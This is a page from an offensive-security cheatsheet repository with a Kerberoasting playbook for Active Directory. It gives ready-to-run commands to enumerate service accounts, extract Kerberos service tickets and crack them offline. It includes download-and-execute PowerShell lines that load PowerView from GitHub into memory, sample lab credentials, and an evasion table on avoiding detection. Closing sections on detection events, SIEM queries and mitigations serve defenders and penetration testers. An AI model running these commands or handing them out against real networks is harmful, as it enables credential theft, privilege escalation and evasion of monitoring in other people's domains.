daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

kerberoasting.md (12140B)


      1 ---
      2 title: "Kerberoasting"
      3 description: "Request and crack SPN service tickets: GetUserSPNs, Rubeus, hashcat modes and mitigation notes."
      4 category: active-directory
      5 subcategory: "Kerberos & Delegation"
      6 tags: [active-directory, kerberos, cracking]
      7 tools: [Impacket, Rubeus, Hashcat]
      8 difficulty: intermediate
      9 updated: "2026-08-09"
     10 source: "vault:ActiveDirectory/Kerberos/Kerberoasting Cheatsheet.md"
     11 ---
     12 
     13 # Kerberoasting
     14 
     15 **MITRE ATT&CK:** [T1558.003](https://attack.mitre.org/techniques/T1558/003/) | **Requires:** Valid domain user credentials
     16 
     17 ---
     18 
     19 ## How It Works
     20 
     21 1. Attacker enumerates AD accounts with **Service Principal Names (SPNs)** set
     22 2. Requests a **TGS (Ticket Granting Service)** ticket for the SPN from the KDC
     23 3. The KDC issues a ticket **encrypted with the service account's NTLM password hash**
     24 4. Ticket is extracted and taken **offline for cracking**
     25 5. Plaintext password recovered → lateral movement / privilege escalation
     26 
     27 > **Note —** No special privileges required — any valid domain user can request TGS tickets.
     28 
     29 ---
     30 
     31 ## Phase 1 — SPN Enumeration
     32 
     33 ### Windows (Native / Living off the Land)
     34 ```cmd
     35 :: List all SPNs in the domain
     36 setspn -T DOMAIN.LOCAL -Q */*
     37 
     38 :: Filter for user accounts (not machine accounts)
     39 setspn -T DOMAIN.LOCAL -Q */* | findstr -v "CN=Computers"
     40 ```
     41 
     42 ### Windows (PowerView / PowerSploit)
     43 ```powershell
     44 # Load PowerView
     45 iex(new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
     46 
     47 # Get users with SPNs set
     48 Get-DomainUser -SPN | Select SamAccountName, DisplayName, ServicePrincipalName
     49 
     50 # Shorthand
     51 Get-NetUser -SPN
     52 ```
     53 
     54 ### Linux (Impacket)
     55 ```bash
     56 # Enumerate SPNs only (no ticket request)
     57 GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
     58 ```
     59 
     60 ---
     61 
     62 ## Phase 2 — TGS Ticket Extraction
     63 
     64 ### Rubeus (Windows) — Recommended
     65 ```powershell
     66 # Roast all kerberoastable users
     67 .\Rubeus.exe kerberoast /outfile:hashes.txt
     68 
     69 # Output in Hashcat format
     70 .\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
     71 
     72 # Target a specific user
     73 .\Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt
     74 
     75 # Target users in a specific OU
     76 .\Rubeus.exe kerberoast /ou:"OU=Services,DC=domain,DC=local" /outfile:hashes.txt
     77 
     78 # Stats only (no ticket requests — stealthy recon)
     79 .\Rubeus.exe kerberoast /stats
     80 
     81 # Force RC4 downgrade via tgtdeleg trick (easier to crack)
     82 .\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt /nowrap
     83 
     84 # Roast across a trusted domain
     85 .\Rubeus.exe kerberoast /domain:dev.corp.local /nowrap
     86 
     87 # Filter by password age (target stale accounts)
     88 .\Rubeus.exe kerberoast /tgtdeleg /pwdsetbefore:01-01-2021 /resultlimit:5
     89 ```
     90 
     91 ### Impacket — GetUserSPNs.py (Linux/Remote)
     92 ```bash
     93 # Enumerate and request all TGS hashes
     94 GetUserSPNs.py DOMAIN/user:password -dc-ip <DC_IP> -request
     95 
     96 # Save hashes to file
     97 GetUserSPNs.py DOMAIN/user:password -dc-ip <DC_IP> -request -outputfile hashes.txt
     98 
     99 # Authenticate with NT hash (Pass-the-Hash)
    100 GetUserSPNs.py -hashes 'LMhash:NThash' DOMAIN/user -dc-ip <DC_IP> -request
    101 
    102 # Kerberoast without pre-authentication (AS-REP style)
    103 GetUserSPNs.py -no-preauth bobby -usersfile spn_users.txt -dc-host <DC_IP> DOMAIN.LOCAL/
    104 
    105 # Cross-domain / across trusts
    106 GetUserSPNs.py DOMAIN/user:password -dc-ip <DC_IP> -target-domain trusted.local -request
    107 ```
    108 
    109 ### NetExec (Linux/Remote)
    110 ```bash
    111 # Roast every kerberoastable account in one shot
    112 nxc ldap <DC_IP> -d DOMAIN.LOCAL -u user -p password --kerberoasting hashes.txt
    113 
    114 # Authenticate with an NT hash instead of a password
    115 nxc ldap <DC_IP> -d DOMAIN.LOCAL -u user -H <NThash> --kerberoasting hashes.txt
    116 
    117 # Target ONE account only — --kerberoast-account <sAMAccountName>
    118 nxc ldap dc01.fluffy.htb -d fluffy.htb -u p.agila -p prometheusx-303 \
    119     --kerberoasting kerberos.txt --kerberoast-account winrm_svc
    120 
    121 # Fix KRB_AP_ERR_SKEW (clock drift vs. the DC) by faking the time with faketime.
    122 # Offset the local clock forward/back to match the DC before the LDAP/Kerberos call:
    123 faketime -f '+7h' nxc ldap dc01.fluffy.htb -d fluffy.htb -u p.agila -p prometheusx-303 \
    124     --kerberoasting kerberos.txt --kerberoast-account winrm_svc
    125 ```
    126 
    127 > **Note —** `--kerberoast-account` filters server-side so you only pull the target's TGS instead of every SPN in the domain — far quieter, and useful when you already know which service account you want (e.g. from BloodHound). Sync clocks first: Kerberos rejects requests more than 5 minutes off (`KRB_AP_ERR_SKEW`). Use `sudo ntpdate <DC_IP>`/`sudo rdate -n <DC_IP>` to sync, or wrap the command in `faketime` as above when you cannot change the host clock.
    128 
    129 ### Invoke-Kerberoast (PowerShell)
    130 ```powershell
    131 # Load and execute
    132 iex(new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
    133 
    134 # Dump hashes in Hashcat format
    135 Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -FilePath hashes.txt -Encoding ASCII
    136 
    137 # Target a specific domain
    138 Invoke-Kerberoast -Domain dev.corp.local | fl
    139 
    140 # Use alternate credentials
    141 $SecPass = ConvertTo-SecureString 'Password1!' -AsPlainText -Force
    142 $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPass)
    143 Invoke-Kerberoast -Credential $Cred | fl
    144 ```
    145 
    146 ### Pure .NET / In-Memory (No Tools on Disk)
    147 ```powershell
    148 Add-Type -AssemblyName System.IdentityModel
    149 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.domain.local:1433"
    150 
    151 # Then export with Mimikatz
    152 kerberos::list /export
    153 ```
    154 
    155 ---
    156 
    157 ## Targeting a Specific Account
    158 
    159 When you already know the service account you want (from BloodHound, an ACL edge, or prior enum), roast just that one SPN. It is quieter than bulk roasting and avoids dumping tickets you cannot crack.
    160 
    161 | Tool | Single-account syntax |
    162 |---|---|
    163 | **NetExec** | `--kerberoast-account <sAMAccountName>` (server-side filter) |
    164 | **Impacket** | `GetUserSPNs.py ... -request-user <sAMAccountName>` |
    165 | **Rubeus** | `.\Rubeus.exe kerberoast /user:<sAMAccountName>` |
    166 | **PowerView** | `Get-DomainUser <sam> -SPN \| Get-DomainSPNTicket -OutputFormat Hashcat` |
    167 | **Invoke-Kerberoast** | `Invoke-Kerberoast -Identity <sAMAccountName> -OutputFormat Hashcat` |
    168 
    169 ```bash
    170 # Impacket — request only winrm_svc's TGS
    171 GetUserSPNs.py fluffy.htb/p.agila:prometheusx-303 -dc-ip <DC_IP> \
    172     -request-user winrm_svc -outputfile kerberos.txt
    173 
    174 # Impacket with an NT hash instead of a password
    175 GetUserSPNs.py -hashes ':<NThash>' fluffy.htb/p.agila -dc-ip <DC_IP> \
    176     -request-user winrm_svc -outputfile kerberos.txt
    177 
    178 # NetExec — same target, server-side filter (wrap in faketime if clocks drift)
    179 nxc ldap dc01.fluffy.htb -d fluffy.htb -u p.agila -p prometheusx-303 \
    180     --kerberoasting kerberos.txt --kerberoast-account winrm_svc
    181 ```
    182 
    183 ```powershell
    184 # Rubeus — one account, Hashcat format, no line wrap
    185 .\Rubeus.exe kerberoast /user:winrm_svc /outfile:kerberos.txt /nowrap
    186 
    187 # PowerView — resolve the SPN then request only that ticket
    188 Get-DomainUser winrm_svc -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | fl
    189 ```
    190 
    191 > **Note —** All Kerberos requests are time-sensitive. If you hit `KRB_AP_ERR_SKEW` / "Clock skew too great", the local clock is more than 5 minutes off the DC. Sync with `sudo ntpdate <DC_IP>` (or `sudo rdate -n <DC_IP>`), or prefix the command with `faketime -f '+7h' <command>` to shift the clock for that process only.
    192 
    193 ---
    194 
    195 ## Phase 3 — Offline Hash Cracking
    196 
    197 ### Hash Format Reference
    198 
    199 | Tool | Hash Prefix | Mode |
    200 |---|---|---|
    201 | Hashcat | `$krb5tgs$23$` (RC4) | `13100` |
    202 | Hashcat | `$krb5tgs$17$` (AES-128) | `19600` |
    203 | Hashcat | `$krb5tgs$18$` (AES-256) | `19700` |
    204 | John the Ripper | `$krb5tgs$` | `krb5tgs` |
    205 
    206 ### Hashcat
    207 ```bash
    208 # RC4 (type 23) — fastest to crack
    209 hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
    210 
    211 # AES-128 (type 17)
    212 hashcat -m 19600 hashes.txt /usr/share/wordlists/rockyou.txt
    213 
    214 # AES-256 (type 18)
    215 hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt
    216 
    217 # With rules (recommended)
    218 hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    219 
    220 # Brute force mask (uppercase + lowercase + digits, 8 chars)
    221 hashcat -m 13100 hashes.txt -a 3 ?u?l?l?l?l?d?d?d
    222 ```
    223 
    224 ### John the Ripper
    225 ```bash
    226 john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
    227 john --format=krb5tgs hashes.txt --show
    228 ```
    229 
    230 ---
    231 
    232 ## Opsec / Evasion Tips
    233 
    234 | Technique | Risk Level | Notes |
    235 |---|---|---|
    236 | Default Rubeus `kerberoast` | Medium | Uses `KerberosRequestorSecurityToken` — visible in logs |
    237 | `/tgtdeleg` flag | Medium-High | Forces RC4; triggers etype 0x17 in Event 4769 |
    238 | Slow/staggered requests | Low | Avoid bulk TGS requests; blend into normal traffic |
    239 | Target single account | Low | `/user:target` reduces noise vs. bulk roasting |
    240 | `/stats` flag first | Very Low | Only enumerates — no ticket requests made |
    241 | LDAP-based enumeration only | Low | Recon without touching the KDC |
    242 
    243 ---
    244 
    245 ## Detection
    246 
    247 ### Key Windows Event IDs
    248 
    249 | Event ID | Description | Indicator |
    250 |---|---|---|
    251 | `4769` | Kerberos TGS ticket requested | Encryption type `0x17` (RC4) is suspicious |
    252 | `4770` | Kerberos TGS ticket renewed | Bulk renewals may indicate automation |
    253 | `4768` | Kerberos TGT requested | Baseline for user auth |
    254 
    255 ### SIEM / Splunk Query Logic
    256 ```text
    257 EventCode=4769
    258 AND TicketEncryptionType=0x17
    259 AND NOT AccountName="*$"   # Exclude machine accounts
    260 AND ServiceName != "krbtgt"
    261 AND ServiceName != "*$"
    262 ```
    263 
    264 Look for:
    265 * A **single user requesting tickets for many SPNs** in a short window
    266 * TGS requests with **RC4 encryption (0x17)** from accounts that normally use AES
    267 * Requests originating from **unusual hosts** or **off-hours**
    268 * Any access to **honeytoken/canary SPN accounts**
    269 
    270 ### Microsoft Defender XDR
    271 Alert **External ID 2410** — *Suspected Kerberos SPN Exposure* ([Source](https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/))
    272 
    273 ---
    274 
    275 ## Mitigation
    276 
    277 | Control | Description |
    278 |---|---|
    279 | **Use gMSA / dMSA** | Group/Delegated Managed Service Accounts auto-rotate 120+ char passwords — infeasible to crack |
    280 | **Strong SPN passwords** | Minimum 25+ char random passwords for service accounts with SPNs |
    281 | **Enforce AES encryption** | Set `msDS-SupportedEncryptionTypes` to AES only; disable RC4 (NTLM hash not used for AES keys) |
    282 | **Least Privilege** | Service accounts with SPNs should have minimal AD rights — never Domain Admin |
    283 | **Password rotation** | Rotate SPN account passwords every 30–90 days minimum |
    284 | **Audit SPNs regularly** | Remove unnecessary or orphaned SPNs from user accounts |
    285 | **Honeypot SPNs** | Deploy canary service accounts — any TGS request = immediate alert |
    286 | **Disable RC4 where possible** | Reduces crackability of any tickets that are exfiltrated |
    287 | **MFA on privileged accounts** | Limits blast radius even if hash is cracked |
    288 
    289 ---
    290 
    291 ## Related Attacks
    292 
    293 * **AS-REP Roasting** (T1558.004) — targets accounts with pre-auth disabled; no credentials needed
    294 * **Silver Ticket** — forge TGS tickets using cracked service account hash
    295 * **Golden Ticket** — forge TGTs using `krbtgt` hash
    296 * **Pass-the-Ticket** — reuse captured TGS tickets without cracking
    297 * **Golden gMSA** — attack against gMSA `KDS Root Key` when gMSAs replace kerberoastable accounts
    298 
    299 ---
    300 
    301 ## Tools Reference
    302 
    303 | Tool | Platform | Use |
    304 |---|---|---|
    305 | [Rubeus](https://github.com/GhostPack/Rubeus) | Windows | Full-featured C# Kerberos toolset |
    306 | [Impacket GetUserSPNs.py](https://github.com/fortra/impacket) | Linux | Remote roasting with creds or hashes |
    307 | [PowerView / Invoke-Kerberoast](https://github.com/PowerShellMafia/PowerSploit) | Windows (PS) | PowerShell-based enumeration + roasting |
    308 | [Hashcat](https://hashcat.net) | Any | GPU-accelerated hash cracking |
    309 | [John the Ripper](https://www.openwall.com/john/) | Any | CPU-based hash cracking |
    310 | [BloodHound](https://github.com/SpecterOps/BloodHound) | Any | Visualise kerberoastable paths to DA |
    311 | [Mimikatz](https://github.com/gentilkiwi/mimikatz) | Windows | Export tickets from memory |